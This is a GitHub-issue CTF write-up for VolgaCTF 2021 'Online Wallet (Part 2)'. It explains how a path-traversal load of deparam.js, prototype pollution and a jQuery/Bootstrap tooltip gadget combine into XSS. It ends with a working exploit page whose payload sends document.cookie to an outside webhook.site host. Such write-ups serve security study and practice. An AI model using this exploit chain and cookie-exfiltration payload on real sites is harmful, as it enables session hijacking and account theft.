aszx87410 / ctf-writeups

ctf writeups
62 stars 9 forks source link

VolgaCTF 2021 Qualifier - Online Wallet (Part 2) #27

Open aszx87410 opened 3 years ago

aszx87410 commented 3 years ago

Online Wallet (Part 2)

Description

Steal document.cookie

螢幕快照 2021-03-28 下午10 51 54

const express    = require('express')
const bodyParser = require('body-parser')
const mysql      = require(`mysql-await`)
const session    = require('express-session')
const cookieParser = require("cookie-parser")

const pool = mysql.createPool({
  connectionLimit: 50,
  host     : 'localhost',
  user     : '***REDACTED***',
  password : '***REDACTED***',
  database : '***REDACTED***'
})

const app = express()
app.set('strict routing', true)
app.set('view engine', 'ejs')

const rawBody = function (req, res, buf, encoding) {
  if (buf && buf.length) {
    req.rawBody = buf.toString(encoding || 'utf8')
  }
}

app.use(bodyParser.json({verify: rawBody}))
app.use(cookieParser())

app.use(session({
  secret: '***REDACTED***',
  resave: false,
  saveUninitialized: false,
  proxy: true,
  cookie: {
    sameSite: 'none',
    secure: true
  }
}))

app.use(function (req, res, next) {
  if(req.cookies.lang && typeof(req.cookies.lang) == "string")
    req.session.lang = req.cookies.lang

  if(req.query.lang && typeof(req.query.lang) == "string") {
    res.cookie('lang', req.query.lang)
    req.session.lang = req.query.lang
  }

  if(!req.session.lang) 
    req.session.lang = "en"
  next()
});

app.get('/', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('index', {lang: req.session.lang})
})

app.get('/login', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('login', {lang: req.session.lang})
})

app.post('/login', async (req, res) => {
  if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
    return res.json({success: false})
  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ? AND `password` = ? LIMIT 1", [req.body.login, req.body.password])
    req.session.userid = result[0].id
    res.json({success: true})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/signup', (req, res) => {
  if(req.session.userid)
    return res.redirect('/wallet')
  res.render('signup', {lang: req.session.lang})
})

app.post('/signup', async (req, res) => {
  if(!req.body.login || !req.body.password || (typeof(req.body.login) != "string") || (typeof(req.body.password) != "string") || (req.body.password.length < 8))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `id` FROM `users` WHERE `login` = ?", [req.body.login])
    if (result.length != 0) 
      return res.json({success: false})
    result = await db.awaitQuery("INSERT INTO `users` (`login`, `password`) VALUES (?, ?)", [req.body.login, req.body.password])
    req.session.userid = result.insertId
    db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, 'Default Wallet', 100, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, result.insertId])
    return res.json({success: true})
  } catch {
    return res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/wallet', async (req, res) => {
  if(!req.session.userid)
    return res.redirect('/')
  const db = await pool.awaitGetConnection()
  wallets = await db.awaitQuery("SELECT * FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
  result = await db.awaitQuery("SELECT SUM(`balance`) AS `sum` FROM `wallets` WHERE `user_id` = ?", [req.session.userid])
  db.release()
  res.render('wallet', {wallets, sum: result[0].sum, lang: req.session.lang})
})

app.post('/transfer', async (req, res) => {
  if(!req.session.userid || !req.body.from_wallet || !req.body.to_wallet || (req.body.from_wallet == req.body.to_wallet) || !req.body.amount 
    || (typeof(req.body.from_wallet) != "string") || (typeof(req.body.to_wallet) != "string") || (typeof(req.body.amount) != "number") || (req.body.amount <= 0))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    await db.awaitBeginTransaction()

    from_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.from_wallet, req.session.userid])
    to_wallet = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ? FOR UPDATE", [req.body.to_wallet, req.session.userid])
    if (from_wallet.length == 0 || to_wallet.length == 0) 
      return res.json({success: false})
    from_balance = from_wallet[0].balance

    if(from_balance >= req.body.amount) {
      transaction = await db.awaitQuery("INSERT INTO `transactions` (`transaction`) VALUES (?)", [req.rawBody])
      await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` - `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.from_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
      await db.awaitQuery("UPDATE `wallets`, `transactions` SET `balance` = `balance` + `transaction`->>'$.amount' WHERE `wallets`.`id` = `transaction`->>'$.to_wallet' AND `transactions`.`id` = ?", [transaction.insertId])
      await db.awaitCommit()
      res.json({success: true})
    } else {
      await db.awaitRollback()
      res.json({success: false})
    }
  } catch {
    await db.awaitRollback()
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.post('/wallet', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    db.awaitQuery("INSERT INTO `wallets` (`id`, `title`, `balance`, `user_id`) VALUES (?, ?, 0, ?)", [`0x${[...Array(32)].map(i=>(~~(Math.random()*16)).toString(16)).join('')}`, req.body.wallet, req.session.userid])
    res.json({success: true})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.post('/withdraw', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
    /* only developers can have a negative balance */
    if((result[0].balance > 150) || (result[0].balance < 0))
      res.json({success: true, money: FLAG})
    else
      res.json({success: false})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

app.get('/logout', (req, res) => {
  req.session.destroy()
  res.redirect('/')
})

const PORT = 8080
const FLAG = "VolgaCTF{***REDACTED***}"

app.listen(PORT, () => {
  console.log(`App listening on port ${PORT}`)
})

Writeup

There is a very suspicious part for setting lang via query string:

app.use(function (req, res, next) {
  if(req.cookies.lang && typeof(req.cookies.lang) == "string")
    req.session.lang = req.cookies.lang

  if(req.query.lang && typeof(req.query.lang) == "string") {
    res.cookie('lang', req.query.lang)
    req.session.lang = req.query.lang
  }

  if(!req.session.lang) 
    req.session.lang = "en"
  next()
});

After changing this value, I found that the lang is reflected in response.

https://wallet.volgactf-task.ru/wallet?lang=abc123

<script src="https://volgactf-wallet.s3-us-west-1.amazonaws.com/locale_abc123.js"></script>

But <>"' is escaped so we can't do XSS here. Let's see what's inside s3 bucket: https://volgactf-wallet.s3-us-west-1.amazonaws.com

This XML file does not appear to have any style information associated with it. The document tree is shown below.
<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">
<Name>volgactf-wallet</Name>
<Prefix/>
<Marker/>
<MaxKeys>1000</MaxKeys>
<IsTruncated>false</IsTruncated>
<Contents>
<Key>bootstrap.min.css</Key>
<LastModified>2021-03-13T19:30:14.000Z</LastModified>
<ETag>"a15c2ac3234aa8f6064ef9c1f7383c37"</ETag>
<Size>155758</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>bootstrap.min.js</Key>
<LastModified>2021-03-11T11:59:57.000Z</LastModified>
<ETag>"e1d98d47689e00f8ecbc5d9f61bdb42e"</ETag>
<Size>58072</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>deparam.js</Key>
<LastModified>2021-03-11T12:17:35.000Z</LastModified>
<ETag>"51fa265e6f8b1e2327ef0b4b8a859933"</ETag>
<Size>1835</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flag-icon.min.css</Key>
<LastModified>2021-03-13T19:30:31.000Z</LastModified>
<ETag>"1c7783936db99706c52edb52174b0d86"</ETag>
<Size>33961</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/ru.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"0cacf46e6f473fa88781120f370d6107"</ETag>
<Size>286</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>flags/4x3/us.svg</Key>
<LastModified>2021-03-13T19:30:46.000Z</LastModified>
<ETag>"ae65659236a7e348402799477237e6fa"</ETag>
<Size>4461</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>jquery-3.3.1.slim.min.js</Key>
<LastModified>2021-03-11T12:00:03.000Z</LastModified>
<ETag>"99b0a83cf1b0b1e2cb16041520e87641"</ETag>
<Size>69917</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_en.js</Key>
<LastModified>2021-03-14T04:29:10.000Z</LastModified>
<ETag>"12753963071098b25222964ef55d34aa"</ETag>
<Size>834</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>locale_ru.js</Key>
<LastModified>2021-03-14T04:29:30.000Z</LastModified>
<ETag>"8c76c84adcc90e93dfd978ec59675fd2"</ETag>
<Size>1142</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>popper.min.js</Key>
<LastModified>2021-03-11T12:00:26.000Z</LastModified>
<ETag>"56456db9d72a4b380ed3cb63095e6022"</ETag>
<Size>21004</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
<Contents>
<Key>style.css</Key>
<LastModified>2021-03-11T12:00:30.000Z</LastModified>
<ETag>"98fbfe87adff070366e195a45920e28f"</ETag>
<Size>123</Size>
<StorageClass>STANDARD</StorageClass>
</Contents>
</ListBucketResult>

There is a new file called deparam.js which never use in the web page so I guess we need to import this to do something.

content:

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( coerce ) {
          val = val && !isNaN(val)            ? +val
            : val === 'undefined'             ? undefined
            : coerce_types[val] !== undefined ? coerce_types[val]
            : val;
        }
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = coerce
          ? undefined
          : '';
      }
    });
    return obj;
  };

  queryObject = deparam(location.search.slice(1))

The source code already gave us a hint: /* Prototype Pollution fix */. So I thought the goal is to leverage prototype pollution and trigger XSS via jquery or tooltip.

After trying for few payloads, prototype pollution can be triggered via a[0]=2&a[__proto__][__proto__][abc]=1

POC:

  deparam = function( params, coerce ) {
    var obj = Object.create(null), /* Prototype Pollution fix */
      coerce_types = { 'true': !0, 'false': !1, 'null': null };
    params.replace(/\+/g, ' ').split('&').forEach(function(v){
      var param = v.split( '=' ),
        key = decodeURIComponent( param[0] ),
        val,
        cur = obj,
        i = 0,
        keys = key.split( '][' ),
        keys_last = keys.length - 1;
      if ( /\[/.test( keys[0] ) && /\]$/.test( keys[ keys_last ] ) ) {
        keys[ keys_last ] = keys[ keys_last ].replace( /\]$/, '' );
        keys = keys.shift().split('[').concat( keys );
        keys_last = keys.length - 1;
      } else {
        keys_last = 0;
      }
      if ( param.length === 2 ) {
        val = decodeURIComponent( param[1] );
        if ( keys_last ) {
          for ( ; i <= keys_last; i++ ) {
            key = keys[i] === '' ? cur.length : keys[i];
            cur = cur[key] = i < keys_last
              ? cur[key] || ( keys[i+1] && isNaN( keys[i+1] ) ? Object.create(null) : [] )
              : val;
          }
        } else {
          if ( Object.prototype.toString.call( obj[key] ) === '[object Array]' ) {
            obj[key].push( val );
          } else if ( obj[key] !== undefined ) {
            obj[key] = [ obj[key], val ];
          } else {
              obj[key] = val;
          }
        }
      } else if ( key ) {
        obj[key] = '';
      }
    });
    return obj;
  };

  var poc = {}
  queryObject = deparam('a[0]=2&a[__proto__][__proto__][abc]=1')
  console.log(poc.abc) // 1

The next step is to see if there is any gadget we can use: https://github.com/BlackFan/client-side-prototype-pollution/blob/master/gadgets/jquery.md

But from the source of the web page we know that only $('[data-toggle="tooltip"]').tooltip() has been called after content loaded, so I think it's the key and we need to use it. I tried for an hour to see if I can pollute the template or title options for tooltip but it doesn't work.

After trace the source code of bootstrap tooltip, when tooltip show, getTipElement will be triggered:

  getTipElement() {
    this.tip = this.tip || $(this.config.template)[0]
    return this.tip
  }

https://github.com/twbs/bootstrap/blob/8fa0d3010112dca5dd6dd501173415856001ba8b/js/src/tooltip.js#L422

template is html so we can use this jQuery gadget now:

<script/src=https://code.jquery.com/jquery-3.3.1.js></script>
<script>
  Object.prototype.div=['1','<img src onerror=alert(1)>','1']
</script>
<script>
  $('<div x="x"></div>')
</script>

But how to show the tooltip? We can show the tooltip if it gets focused, and luckily there is an id for the tooltip element: <span class="d-inline-block" tabindex="0" data-toggle="tooltip" title="Not implemented yet" id="depositButton">

So combined with all the vulnerabilities above, the steps are:

  1. Use lang to import deparam.js
  2. prototype pollution to use jQuery gadget
  3. Use #depositButton to trigger tooltip and do XSS

We can create a simple html page and use iframe to load the website. After it's loaded we update the src to #depositButton to let tooltip get focus and trigger XSS.

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

  </head>
  <body>
    <script>
      fetch('https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a?check').then(r =>r).catch(err => console.log(err))
    function run() {
      setTimeout(() => {
f.src = "https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1#depositButton"
      }, 2000)

    }
  </script>
    <iframe id="f" onload="run()" src="https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0]=2&a[__proto__][__proto__][div][0]=1&a[__proto__][__proto__][div][1]=%3Cimg%20src%20onerror%3Dfetch(%22https%3A%2F%2Fwebhook.site%3Fc%3D%22%2Bdocument.cookie)%3E&a[__proto__][__proto__][div][2]=1"></iframe>
  </body>

</html>
L0nm4r commented 3 years ago

in Online Wallet (Part 1), how to get the balance of the Default wallet to 152? i just make it negative

aszx87410 commented 3 years ago

@L0nm4r It seems that there is a race condition in /transfer, but I found it by coincidence and still thinking about how it works